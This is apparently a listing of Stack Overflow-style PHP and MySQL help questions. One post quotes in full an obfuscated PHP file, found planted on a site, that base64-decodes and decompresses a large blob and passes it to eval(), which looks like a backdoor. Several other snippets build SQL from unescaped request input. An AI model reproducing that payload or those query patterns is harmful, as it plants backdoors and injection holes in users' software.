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  • Load PHP function with jQuery Ajax

    - by brandon14_99
    I have a file which is loaded at the top of my document, which is called Videos.php. Inside that file are several functions, such as getYoutubeVideos. On some pages, I need to call upon that function several times (up to 50), and it of course creates major lag on load times. So I have been trying to figure out how to call that function in, only when it is need (when someone clicks the show videos button). I have very little experience with jQuery's ajax abilities. I would like the ajax call to be made inside of something like this: jQuery('a[rel=VideoPreview1).click(function(){ jQuery ("a[rel=VideoPreview1]").hide(); jQuery ("a[rel=HideVideoPreview1]").show(); jQuery ("#VideoPreview1").show(); //AJAX STUFF HERE preventDefault(); }); Ok I have created this based on the responses, but it is still not working: jQuery Code: jQuery(document).ready(function(){ jQuery("a[rel=VideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").hide(); jQuery("a[rel=HideVideoPreview5]").show(); jQuery.post("/Classes/Video.php", {action: "getYoutubeVideos", artist: "Train", track: "Hey, Soul Sister"}, function(data){ jQuery("#VideoPreview5").html(data); }, 'json'); jQuery("#VideoPreview5").show(); preventDefault(); }); jQuery("a[rel=HideVideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").show(); jQuery("a[rel=HideVideoPreview5]").hide(); jQuery("#VideoPreview5").hide(); preventDefault(); }); }); And the PHP code: $Action = isset($_POST['action']); $Artist = isset($_POST['artist']); $Track = isset($_POST['track']); if($Action == 'getYoutubeVideos') { echo 'where are the videos'; echo json_encode(getYoutubeVideos($Artist.' '.$Track, 1, 5, 'relevance')); }

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  • how to tackle a custom forms database

    - by Neil Hickman
    I'm currently researching a project for the place that I work in. We are trying to create a system that will allow forms to be set up dynamically from a database. My question is what database structure would best suit something like this? I currently have a structure of: forms_form forms_formfields forms_formdata I don't think this is the most appropriate layout for this. Basically to make is make sense I need to be able to make a form within the database that can have infinite fields all customized and have the data when submitted stored in the database.

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  • PHP Outputting File Attachments with Headers

    - by OneNerd
    After reading a few posts here I formulated this function which is sort of a mishmash of a bunch of others: function outputFile( $filePath, $fileName, $mimeType = '' ) { // Setup $mimeTypes = array( 'pdf' => 'application/pdf', 'txt' => 'text/plain', 'html' => 'text/html', 'exe' => 'application/octet-stream', 'zip' => 'application/zip', 'doc' => 'application/msword', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'gif' => 'image/gif', 'png' => 'image/png', 'jpeg' => 'image/jpg', 'jpg' => 'image/jpg', 'php' => 'text/plain' ); // Send Headers //-- next line fixed as per suggestion -- header('Content-Type: ' . $mimeTypes[$mimeType]); header('Content-Disposition: attachment; filename="' . $fileName . '"'); header('Content-Transfer-Encoding: binary'); header('Accept-Ranges: bytes'); header('Cache-Control: private'); header('Pragma: private'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); readfile($filePath); } I have a php page (file.php) which does something like this (lots of other code stripped out): // I run this thru a safe function not shown here $safe_filename = $_GET['filename']; outputFile ( "/the/file/path/{$safe_filename}", $safe_filename, substr($safe_filename, -3) ); Seems like it should work, and it almost does, but I am having the following issues: When its a text file, I am getting a strange symbol as the first letter in the text document When its a word doc, it is corrupt (presumably that same first bit or byte throwing things off). I presume all other file types will be corrupt - have not even tried them Any ideas on what I am doing wrong? Thanks - UPDATE: changed line of code as suggested - still same issue.

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  • Setting up a LAMP VM server for Development and Testing?

    - by TdotThomas
    Info: I would like to set up a VM server on my local computer which will serve pages in the exact same way as my current hosting (but only to me on my local computer). I currently pay a big web hosting company to host my website & web store and they are doing a great job, but I would like to be able to work on my Web site and its corresponding MySQL DB, HTML, and PHP code without being at risk of messing something completely up on the live servers. My current plan of action: Set up a VM webserver with Debian, MySQL, PHP, Apache. Copy web store (PHP/HTML) code to VM server. Copy my current MySQL databases from my hosting provider and install on VM server. Modify and test new features on VM server. Upload MySQL DB and HTML/PHP code back to web host's server where it should work as before but with new modifications. Questions: Now I'm pretty sure I have steps one and two down correctly but I can't for the life of me figure out how to proceed next, so here are my questions. I have my /etc/host file set up so www.MySite.test redirects to the IP address of the local VM webserver. Once I import my PHP/HTML files and MySQL file whats the best way to navigate around the fact that all of my files and DBs will reference www.MySite.com. I can export my MySQL dbs but do I also have to export my MySQL users and passwords to access those db or are those coded into my html/php code?

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  • jQuery AJAX PHP JSON problem

    - by Curro
    Hi Gurus I'm facing the problem of receiving an empty array when I do an AJAX request in the following way: This is the code I'm executing in JavaScript: <script type="text/javascript" src="lib/jquery.js"></script> <script type="text/javascript" src="lib/jquery.json.js"></script> <script type="text/javascript"> $(document).ready(function(){ /* Preparar JSON para el request */ var mJSON = new Object; mJSON.id_consulta = new Array; for (var i=0; i<3; i++){ mJSON.id_consulta[i] = new Object; mJSON.id_consulta[i].id = i; } var sJSON = $.toJSON(mJSON); $.ajax({ type: "POST", url: "getUbicaciones.php", data: sJSON, dataType: "json", contentType: "application/json; charset=utf-8", success: function(respuesta){ alert(respuesta); }, error: function (request,error){ alert("Error: " + request.statusText + ". " + error); } }); }); </script> And this is the code under PHP: <?php /* Decodificar JSON */ $m_decoded = $_POST; print_r($m_decoded); exit; ?> And all I get from this, using Chrome's Developer Tools is an empty array: Array ( ) Any clues on what am I doing wrong? The string sJSON is being encoded correctly, this is what I get when I do an "alert" on that one: {"id_consulta":[{"id":1},{"id":2},{"id":3}]} Thank you everyone in advance!

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  • SELECT SUM PHP MySQL problem

    - by user345426
    This is driving me nuts! Below you will find my PHP/MySQL code but I will post the direct mySQL statement here: SELECT SUM( ot.value ) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP( o.date_purchased ) >=1262332800 AND UNIX_TIMESTAMP( o.date_purchased ) <=1264924800 AND o.sales_rep_id = '2' When I execute this statement inside of phpMyAdmin I get the sum for ot.value which is associated to "msa". Although, when I run my php code it does not return a value. Anyone see the problem? // works in phpMyAdmin but not displaying during PHP execution! $monthly_sales_amount_sql = "SELECT SUM(ot.value) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP(o.date_purchased) >= $start_timestamp AND UNIX_TIMESTAMP(o.date_purchased) <= $end_timestamp AND o.sales_rep_id = '" . $sales_rep_id "'"; $result = mysql_query($monthly_sales_amount_sql); $row = mysql_fetch_assoc($result); echo "MSA: " . $row['msa'] . "<BR><BR>";

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  • How do I get Composer to download the latest commit in the master branch from GitHub for a package?

    - by pthurmond
    I am trying to get Composer do download the latest commit for the Behat/MinkSelenium2Driver package. That particular repo only has a master branch. I have tried every method I can think of, including deleting the files and letting it pull them back in, to get it to work but it doesn't. How would I get it to pull in latest committed files or at least those from the commit I list below? Specifically I want to get this commit: https://github.com/Behat/MinkSelenium2Driver/commit/2e73d8134ec8526b6e742f05c146fec2d5e1b8d6 Thanks, Patrick

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  • SIMPLE PHP MVC Framework [closed]

    - by Allen
    I need a simple and basic MVC example to get me started. I don't want to use any of the available packaged frameworks. I am in need of a simple example of a simple PHP MVC framework that would allow, at most, the basic creation of a simple multi-page site. I am asking for a simple example because I learn best from simple real world examples. Big popular frameworks (such as code igniter) are to much for me to even try to understand and any other "simple" example I have found are not well explained or seem a little sketchy in general. I should add that most examples of simple MVC frameworks I see use mod_rewrite (for URL routing) or some other Apache-only method. I run PHP on IIS. I need to be able to understand a basic MVC framework, so that I could develop my own that would allow me to easily extend functionality with classes. I am at the point where I understand basic design patterns and MVC pretty well. I understand them in theory, but when it comes down to actually building a real world, simple, well designed MVC framework in PHP, I'm stuck. Edit: I just want to note that I am looking for a simple example that an experienced programmer could whip up in under an hour. I mean simple as in bare bones simple. I don't want to use any huge frameworks, I am trying to roll my own. I need a decent SIMPLE example to get me going.

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  • problem in creating a php tree menu

    - by Mac Taylor
    hi mates im writing a tree menu for my categories in php and i wonder how can i code it correctly ! this is my table in database " |----topicid------topicname--------parent | |---- 1 ------ News -------- 0 | |---- 2 ------ sport -------- 1 | |---- 3 ------ games -------- 1 | |---- 4 ------ PES -------- 3 | so now for showing it like a tree i did try but not worked : $result = mysql_query("SELECT * FROM Topics ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; if ($parent==0) { $menu_item .= "<li><span class='folder'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li>"; }else { $result = mysql_query("SELECT * FROM ".$prefix."_Topics where parent='$id' ORDER BY topicid"); while ($row = mysql_fetchrow($result)) { $id = intval($row['topicid']); $title = filter($row['topicname'], "nohtml"); $parent = $row['parent'] ; $menu_item .= " <ul><li><span class='file'><a title = \"$alt\" href=\"modules.php?name=News&amp;new_topic=$id\">$title</a></span></li></ul>"; } } i dont know how to solve this

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  • Create an array from mysql with column names and values [on hold]

    - by ScaZ
    i'm trying to create an array with PHP and MySQL, but i always get errors. The code i'm using function db_listar_usuarios(){ $link=db_connect(); $query = "select * from usuarios" or die("Problemas en el select: " . mysqli_error($link)); $result = $link->query($query); while($row = mysqli_fetch_assoc($result)) { $row['nombre'] . array(; foreach ($row as $col => $val) { $col => $val; } } } And what I want to create with this code is: array( 'john' => array('address' => 'st 123', 'age' => '25', 'surname' => 'doe'), 'ane' => array('address' => 'av 456', 'age'=> '32', 'surname' => 'smith'), ); To use then like something like this: private $contacts = db_listar_usuarios(); I use 2 files: functions.php and server.php server.php is a downloaded file example to do a REST API. Here are both of them. server.php - pastebin.com/5j54m1Mz functions.php - pastebin.com/N7jMhSBa Thank you in advance!

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  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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  • Break a string into parts, returning all characters

    - by Benjamin
    I want to break a string according to the following rules: all consecutive alpha-numeric chars, plus the dot (.) must be treated as one part all other consecutive chars must be treated as one part consecutive combinations of 1 and 2 must be treated as different parts no whitespace must be returned For example this string: Method(hierarchy.of.properties) = ? Should return this array: Array ( [0] => Method [1] => ( [2] => hierarchy.of.properties [3] => ) [4] => = [5] => ? ) I was unsuccessful with preg_split(), as AFAIK it cannot treat the pattern as an element to be returned. Any idea for a simple way to do this?

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  • How Can I optimize this RewriteEngine Code?

    - by Lucki Mile
    I have server overload, server admin said that this issue is caused from htaccess file This is the code: RewriteEngine On RewriteBase /here/ RewriteRule ^top/?$ index.php?mode=top [QSA] RewriteRule ^top/video/?$ index.php?mode=top&cat=vids [QSA] RewriteRule ^top/picture/?$ /index.php?mode=top&cat=pics [QSA] RewriteRule ^random$ index.php?mode=random [QSA] RewriteRule ^random/video/?$ index.php?mode=random&cat=vids [QSA] RewriteRule ^random/picture/?$ index.php?mode=random&cat=pics [QSA] RewriteRule ^new/?$ index.php [QSA] RewriteRule ^new/video/?$ index.php?mode=&cat=vids [QSA] RewriteRule ^new/picture/?$ index.php?mode=&cat=pics [QSA] RewriteRule ^video/([0-9]+)_(.*)$ item.php?cat=vids&id=$1 [QSA] RewriteRule ^picture/([0-9]+)_(.*)$ item.php?cat=pics&id=$1 [QSA] ErrorDocument 404 /item.php

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  • Encrypt correctly caracters in a PHP mail form ("I'm" turns to be "I\'m")

    - by Peanuts
    Hello guys, I'm testing a PHP mail form, a very barebones one, found here: <?php if(isset($_POST['submit'])) { //The form has been submitted, prep a nice thank you message $output = '<h3>Thanks for your message</h3>'; //Deal with the email $to = '[email protected]'; $subject = 'you have a mail'; $contactname = strip_tags($_POST['contactname']); $adress = strip_tags($_POST['adress']); $contactemail = strip_tags($_POST['contactemail']); $textmessage = strip_tags($_POST['textmessage']); $boundary =md5(date('r', time())); $headers = "From: My Site\r\nReply-To: [email protected]"; $message = "Name: ".$contactname."\n"; $message .= "Adress: ".$adress."\n"; $message .= "E-mail: ".$contactemail."\n"; $message .= "Message: ".$textmessage."\n"; mail($to, $subject, $message, $headers); } ?> The problem is I'm receiving an unwanted slash "\" everytime I write a single or a double quote in my message, so "I'm" appear as "I\'m" in my mailbox. I know it have to do with the way PHP distinguishes code quotes from only lecture quotes, but I wouldn't know what to add in my form to get it properly running. Any help is appreciated,

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  • Why doesn't this PHP execute?

    - by cam
    I copied the code from this site exactly: http://davidwalsh.name/web-service-php-mysql-xml-json as follows, /* require the user as the parameter */ if(isset($_GET['user']) && intval($_GET['user'])) { /* soak in the passed variable or set our own */ $number_of_posts = isset($_GET['num']) ? intval($_GET['num']) : 10; //10 is the default $format = strtolower($_GET['format']) == 'json' ? 'json' : 'xml'; //xml is the default $user_id = intval($_GET['user']); //no default /* connect to the db */ $link = mysql_connect('localhost','username','password') or die('Cannot connect to the DB'); mysql_select_db('db_name',$link) or die('Cannot select the DB'); /* grab the posts from the db */ $query = "SELECT post_title, guid FROM wp_posts WHERE post_author = $user_id AND post_status = 'publish' ORDER BY ID DESC LIMIT $number_of_posts"; $result = mysql_query($query,$link) or die('Errant query: '.$query); /* create one master array of the records */ $posts = array(); if(mysql_num_rows($result)) { while($post = mysql_fetch_assoc($result)) { $posts[] = array('post'=>$post); } } /* output in necessary format */ if($format == 'json') { header('Content-type: application/json'); echo json_encode(array('posts'=>$posts)); } else { header('Content-type: text/xml'); echo '<posts>'; foreach($posts as $index => $post) { if(is_array($post)) { foreach($post as $key => $value) { echo '<',$key,'>'; if(is_array($value)) { foreach($value as $tag => $val) { echo '<',$tag,'>',htmlentities($val),'</',$tag,'>'; } } echo '</',$key,'>'; } } } echo '</posts>'; } /* disconnect from the db */ @mysql_close($link); } And the php doesn't execute, it just displays as plain text. What's the dealio? The host supports PHP, I use it to run a Wordpress blog and other things.

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  • Which are the best techniques to protect a 'homemade' framework from unlogged visitors?

    - by Hermet
    First of all, I would like to say that I have used the search box looking for a similar question unsuccessfully, maybe because of my poor english skills. The way I currently do this is checking in every single page that a session has been opened. If not, the user gets redirected to a 404 page, to seem like the file which has been requested doesn't exist. I really don't know if this is sure or there's a better and more safety way and I'm currently working with kind of confidential data that should never become public. Could you give me some tips? Or leave a link where I could find some? Thank you very much, and again excuse me for kicking the dictionary.

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  • Can't make HREF change based on PHP value

    - by Liso22
    I want to retrieve the user's location and then show a link that points to an URL that changes according to that location. I just want to place the user's city name at the end of the HREF. I need this work on my wordpress site, on a static page. I use a plugin called Exec-php which let's me run PHP in pages. I have a plugin that provides me the user's city through the shortcode "[mmjs-city]". I tried to make it work through different paths but I never get the link to work. Here I tried assigning that shortcode to a value, <?php $city= "[mmjs-city]"; echo $city; echo "<a href='?s=" . $city ."'>Search for your city</a>"; ?> I added the first two lines to check whether the shortcode is working or not and if it's correctly assinged to the value $city. That part works. Then it creates the link and put's the value $city at the end of it. But when trying it instead of taking me to: /?s=new+york It takes me to: /?s=%3Cscript%20language=%22javascript%22%3Edocument.write(geoip_city());%3C/script%3E I have no idea what to do. I would be really thankful for any info on how to make it work, it's really an important feature for my site. Please ask for any further info or idk anything. Also this is where I tested that code: http://chusmix.com/?page_id=1129 Thanks

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  • [php] Firefox refreshes page 1, even after redirection to page 2

    - by Znarkus
    Hi! This is a quite weird and annoying problem, which is reproduced with the script below. Say we have two pages: script.php and script.php?second. Page 1 creates some database entries and redirects to page 2. On page 2, the user is presented with an editor for said entries. If page 1 for some reason crashes on the first try, and prints some error message, a strange thing will happend. If we refresh page 1 (and this time it redirects fine), every consecutive refresh (of page 2) will actually refresh page 1 and again redirect to page 2. In the above example this would create new database entries for every refresh, which is the problem I want to circumvent by redirecting to page 2. <?php header('Content-type: text/plain'); session_start(); if (!isset($_GET['second'])) { $_SESSION['counter'] = isset($_SESSION['counter']) ? $_SESSION['counter'] + 1 : 1; /*$_SESSION['counter'] = 0; exit('asd');*/ header("Location: {$_SERVER['PHP_SELF']}?second", true, 303); exit; } echo "Counter: {$_SESSION['counter']}"; To try the above complete script, first run it with the commented code intact, then by enabling the commented code. I've tried 301, 302 and 303 redirections. Does someone know why this is happening?

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  • Catch a PHP Object Instantiation Error

    - by Rob Wilkerson
    It's really irking me that PHP considers the failure to instantiate an object a Fatal Error (which can't be caught) for the application as a whole. I have set of classes that aren't strictly necessary for my application to function--they're really a convenience. I have a factory object that attempts to instantiate the class variant that's indicated in a config file. This mechanism is being deployed for message storage and will support multiple store types: DatabaseMessageStore FileMessageStore MemcachedMessageStore etc. A MessageStoreFactory class will read the application's preference from a config file, instantiate and return an instance of the appropriate class. It might be easy enough to slap a conditional around the instantiation to ensure that class_exists(), but MemcachedMessageStore extends PHP's Memcached class. As a result, the class_exists() test will succeed--though instantiation will fail--if the memcached bindings for PHP aren't installed. Is there any other way to test whether a class can be instantiated properly? If it can't, all I need to do is tell the user which features won't be available to them, but let them continue one with the application. Thanks.

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  • Echoing users by group name in PHP

    - by BobSapp
    What I want to do is click a name of a group(every group what I create other than poweruser and admin groups) and that will echo all of the users in that group from the database. I have figured out the code so far but now my problem is how will I print it all out when clicking the name of the group? My code so far is: <h3>Groups</h3> <?php include('db.php'); if (isset($_GET["groupID"])) { $sql="SELECT `group`.*, `user`.* FROM `user` inner join `group` on group.groupID=user.groupID where group.groupID= " . mysql_real_escape_string($_GET["groupID"]) ; } else { $sql="SELECT * FROM `group` WHERE groupName <> 'admin' AND groupName <> 'poweruser'" ; } $result=mysql_query($sql,$connection); while($line=mysql_fetch_array($result)){ echo "<a href='index.php?page=groups&group=".$line['groupID']."'>".$line['groupName'].'</a><br />'; } mysql_free_result($result); mysql_close($connection); ?>

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  • My PHP code is commented out

    - by Mr A
    Before everything happened, I was running this wordpress install for developing themes using xampp. But I decided to upgrade the memory of this machine from 2GB to 6GB since I need extra room for applications. I back-up my code in a separate partition by copying them. Since I have a 32bit OS at the time, I format the computer and installed a 64bit version. All is well and fine the OS side. When I setup my web dev environment something goes wrong. When I imported my htdocs back, first by just fully copying them to a new fresh install of xampp and notice that all of the codes that put are not working. My CI code is displaying my PHP code in the browser. My theme in wordpress is also commenting out my PHP code when I view the source. The themes included in my fresh wordpress install works so there's something I am missing here. From the looks of it, the php is being executed properly since anything that I install works. Just that the ones that came from a previous xampp is not.

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  • Beginner PHP: I can't insert data into MYSQL database

    - by Victor
    I'm learning PHP right now and I'm trying to insert data into a MySQL database called "pumpl2" The table is set up like this. create table product ( productid int unsigned not null auto_increment primary key, price int(9) not null, value int(9) not null, description text ); I have a form and want to insert the fields from the form in the database. Here is what the php file looks like. <?php // create short variable names $price = $_POST['price']; $value = $_POST['value']; $description = $_POST['description']; if (!$price || !$value || !$description) { echo "You have not entered all the required details.<br />" ."Please go back and try again."; exit; } @ $db = new mysqli('localhost', 'pumpl', '********', 'pumpl2'); if (mysqli_connect_errno()) { echo "Error: Could not connect to database. Please try again later."; exit; } $query = "insert into pumpl2 values ('".$price."', '".$value."', '".$description."')"; $result = $db->query($query); if ($result) { echo $db->affected_rows." product inserted into database."; } else { echo "An error has occurred. The item was not added."; } $db->close(); ?> When I submit the form, I get an error message "An error has occurred. The item was not added." Does anyone know what the problem is? Thank you!

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  • JSON Array Created in PHP/MySQL incorrectly decoded using JQuery

    - by Zak
    I am attempting to make an AJAX call to a very small PHP script that should return me an array that could be echo'd and decoded using JQuery. Here is what I have: My PHP page called to by AJAX: $web_q=mysql_query("select * from sec_u_g where uid='$id' "); $rs = array(); while($rs[] = mysql_fetch_assoc($web_q)) { } print_r(json_encode($rs)); This outputs: [{"id":"3","uid":"39","gid":"16"},{"id":"4","uid":"39","gid":"4"},{"id":"5","uid":"39","gid":"5"},{"id":"6","uid":"39","gid":"6"},{"id":"7","uid":"39","gid":"7"},{"id":"8","uid":"39","gid":"8"},{"id":"9","uid":"39","gid":"9"},false] I don't understand the "false" at the end for one .. But then I send to to JQuery and use: $.each(json.result, function(i, object) { $.each(object, function(property, value) { alert(property + "=" + value); }); }); This just fails. I try to alert "result" by itself which is set by: $.post("get_ug.php",{id:txt},function(result){ }); My output alerts are as follows: 1) The key is '0' and the value is '[' 2) The key is '1' and the value is 'f' 3) The key is '2' and the value is 'a' 4) The key is '3' and the value is 'l' 5) The key is '4' and the value is 's' 6) The key is '5' and the value is 'e' 7) The key is '6' and the value is ']' 8) The key is '7' and the value is ' ' (<-- Yes the line break is there in the alert) I am exhausted from trying different ideas and scripts. Other than setting a delimiter myself and concatenating my own array and decoding it with a custom script, does anyone have any ideas?? Thank you!!

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